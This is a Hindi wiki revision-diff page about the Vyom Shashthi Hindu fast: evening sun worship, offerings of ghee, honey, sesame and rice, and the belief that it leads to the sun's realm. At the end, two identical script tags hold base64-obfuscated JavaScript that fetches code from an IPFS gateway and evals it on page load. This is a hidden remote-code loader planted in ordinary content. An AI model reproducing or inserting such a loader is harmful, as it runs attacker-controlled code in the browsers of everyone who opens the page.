"व्योम षष्ठी": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
छो (Text replace - ")</ref" to "</ref")
 
पंक्ति 3: पंक्ति 3:
*एक प्रस्थ वाले पात्र में [[घी]] एवं [[मधु]], एक प्रस्थ [[तिल]] एवं तीन प्रस्थ [[चावल]] का सूर्य को अर्पण करना चाहिए।
*एक प्रस्थ वाले पात्र में [[घी]] एवं [[मधु]], एक प्रस्थ [[तिल]] एवं तीन प्रस्थ [[चावल]] का सूर्य को अर्पण करना चाहिए।
*व्योमषष्ठी तिथि के सायं सूर्य पूजा करनी चाहिए।
*व्योमषष्ठी तिथि के सायं सूर्य पूजा करनी चाहिए।
*ऐसी मान्यता है कि व्योमषष्ठी व्रत से सूर्य लोक की प्राप्ति होती है।<ref>हेमाद्रि (व्रत खण्ड 1, 484-485, देवीपुराण से उद्धरण)</ref>
*ऐसी मान्यता है कि व्योमषष्ठी व्रत से सूर्य लोक की प्राप्ति होती है।<ref>हेमाद्रि (व्रत खण्ड 1, 484-485, देवीपुराण से उद्धरण</ref>
{{संदर्भ ग्रंथ}}
{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==

12:59, 27 जुलाई 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • व्योम (आकाश) में सूर्य का (प्रतिमा का नहीं) एवं व्योम का पूजन करना चाहिए।
  • एक प्रस्थ वाले पात्र में घी एवं मधु, एक प्रस्थ तिल एवं तीन प्रस्थ चावल का सूर्य को अर्पण करना चाहिए।
  • व्योमषष्ठी तिथि के सायं सूर्य पूजा करनी चाहिए।
  • ऐसी मान्यता है कि व्योमषष्ठी व्रत से सूर्य लोक की प्राप्ति होती है।[1]

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत खण्ड 1, 484-485, देवीपुराण से उद्धरण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>